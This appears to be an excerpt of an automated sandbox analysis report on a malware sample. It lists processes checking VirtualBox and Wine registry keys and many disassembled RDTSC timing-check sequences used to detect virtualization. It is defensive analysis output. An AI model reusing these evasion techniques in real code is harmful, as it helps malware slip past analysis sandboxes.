Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8418 second address: EC8442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC54ED35B9h 0x00000008 jg 00007FAC54ED35A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8442 second address: EC8448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8448 second address: EC844C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC844C second address: EC8450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8450 second address: EC8479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54ED35B9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FAC54ED35A6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8479 second address: EC847D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8766 second address: EC8772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8772 second address: EC877C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAC54CD2CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8A23 second address: EC8A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8A27 second address: EC8A56 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FAC54CD2CF1h 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8D2E second address: EC8D38 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAC54ED35A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8D38 second address: EC8D4D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FAC54CD2CE0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8D4D second address: EC8D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FAC54ED35A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8D5A second address: EC8D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAC54CD2CE5h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBFBB second address: ECBFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBFCF second address: ECC031 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edx 0x00000011 jno 00007FAC54CD2CE5h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jnl 00007FAC54CD2CDBh 0x0000001f lea ebx, dword ptr [ebp+12450E06h] 0x00000025 call 00007FAC54CD2CE7h 0x0000002a mov dword ptr [ebp+122D2F0Eh], ecx 0x00000030 pop esi 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 push ecx 0x00000035 jnp 00007FAC54CD2CD6h 0x0000003b pop ecx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC031 second address: ECC03B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FAC54ED35A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC03B second address: ECC065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC54CD2CE4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC0E6 second address: ECC155 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c jno 00007FAC54ED35B5h 0x00000012 nop 0x00000013 mov edx, esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FAC54ED35A8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov di, bx 0x00000034 call 00007FAC54ED35A9h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e jmp 00007FAC54ED35B5h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC155 second address: ECC15B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC15B second address: ECC174 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAC54ED35ACh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC174 second address: ECC188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC188 second address: ECC19C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC19C second address: ECC245 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 ja 00007FAC54CD2CDAh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FAC54CD2CE2h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jno 00007FAC54CD2CEFh 0x00000027 pop eax 0x00000028 mov dword ptr [ebp+122D1D19h], ebx 0x0000002e push 00000003h 0x00000030 mov esi, dword ptr [ebp+122D2CEAh] 0x00000036 push 00000000h 0x00000038 pushad 0x00000039 mov dword ptr [ebp+122D1EF1h], edi 0x0000003f mov dword ptr [ebp+122D1CECh], edi 0x00000045 popad 0x00000046 push 00000003h 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007FAC54CD2CD8h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 00000018h 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 call 00007FAC54CD2CD9h 0x00000067 jc 00007FAC54CD2CE4h 0x0000006d push eax 0x0000006e push edx 0x0000006f jp 00007FAC54CD2CD6h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC245 second address: ECC280 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FAC54ED35AAh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FAC54ED35AAh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FAC54ED35B4h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC280 second address: ECC2E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FAC54CD2CDDh 0x00000012 pop eax 0x00000013 lea ebx, dword ptr [ebp+12450E0Fh] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FAC54CD2CD8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 sub ecx, dword ptr [ebp+122D3AABh] 0x00000039 push eax 0x0000003a pushad 0x0000003b push edi 0x0000003c jmp 00007FAC54CD2CDBh 0x00000041 pop edi 0x00000042 push eax 0x00000043 push edx 0x00000044 jng 00007FAC54CD2CD6h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE82C second address: EDE830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC4A2 second address: EEC4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB69AA second address: EB69E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FAC54ED35B5h 0x0000000e je 00007FAC54ED35A6h 0x00000014 jmp 00007FAC54ED35B8h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB69E7 second address: EB69F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA3DF second address: EEA3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54ED35B7h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA3FE second address: EEA404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA404 second address: EEA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA409 second address: EEA439 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC54CD2CF5h 0x00000008 push edx 0x00000009 jc 00007FAC54CD2CD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5B7 second address: EEA5E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC54ED35A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAC54ED35B2h 0x00000010 jmp 00007FAC54ED35ABh 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5E4 second address: EEA5F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5F6 second address: EEA5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5FC second address: EEA61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CDEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FAC54CD2CD6h 0x00000012 jnp 00007FAC54CD2CD6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE36 second address: EEAE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAC54ED35B5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE58 second address: EEAE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE5C second address: EEAE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE60 second address: EEAE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAC54CD2CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FAC54CD2CDDh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE7E second address: EEAE83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE83 second address: EEAE95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAFEC second address: EEAFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB142 second address: EEB157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB2A5 second address: EEB2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAC54ED35A6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e js 00007FAC54ED35A6h 0x00000014 jmp 00007FAC54ED35ADh 0x00000019 popad 0x0000001a push edi 0x0000001b pushad 0x0000001c popad 0x0000001d pop edi 0x0000001e popad 0x0000001f pushad 0x00000020 jmp 00007FAC54ED35B6h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB2E6 second address: EEB317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAC54CD2CD6h 0x0000000a jmp 00007FAC54CD2CDBh 0x0000000f jl 00007FAC54CD2CD6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAC54CD2CE3h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB4C6 second address: EEB4CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB4CE second address: EEB507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDFh 0x00000007 jmp 00007FAC54CD2CE6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FAC54CD2CD6h 0x00000018 jns 00007FAC54CD2CD6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB507 second address: EEB511 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAC54ED35A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE1B5C second address: EE1B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBD67 second address: EEBD79 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC54ED35A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FAC54ED35A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBD79 second address: EEBD85 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jng 00007FAC54CD2CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBD85 second address: EEBD8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1BD4 second address: EB1BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF400A second address: EF400E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF400E second address: EF4014 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4014 second address: EF4023 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4023 second address: EF402D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAC54CD2CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4075 second address: EC4079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4079 second address: EC4097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF78BF second address: EF78C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7A05 second address: EF7A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7A0B second address: EF7A3A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jnc 00007FAC54ED35C1h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7A3A second address: EF7A44 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC54CD2CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7A44 second address: EF7A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAC54ED35ACh 0x0000000d jmp 00007FAC54ED35ADh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF8115 second address: EF8123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAC54CD2CD6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF8123 second address: EF8129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF99B7 second address: EF99BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF99BB second address: EF99BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF99BF second address: EF99C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF99C5 second address: EF99CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF99CA second address: EF99D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC6C1 second address: EFC6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC6CD second address: EFC6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC6D1 second address: EFC6D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCC8F second address: EFCC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCF6B second address: EFCF81 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC54ED35ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD05F second address: EFD063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
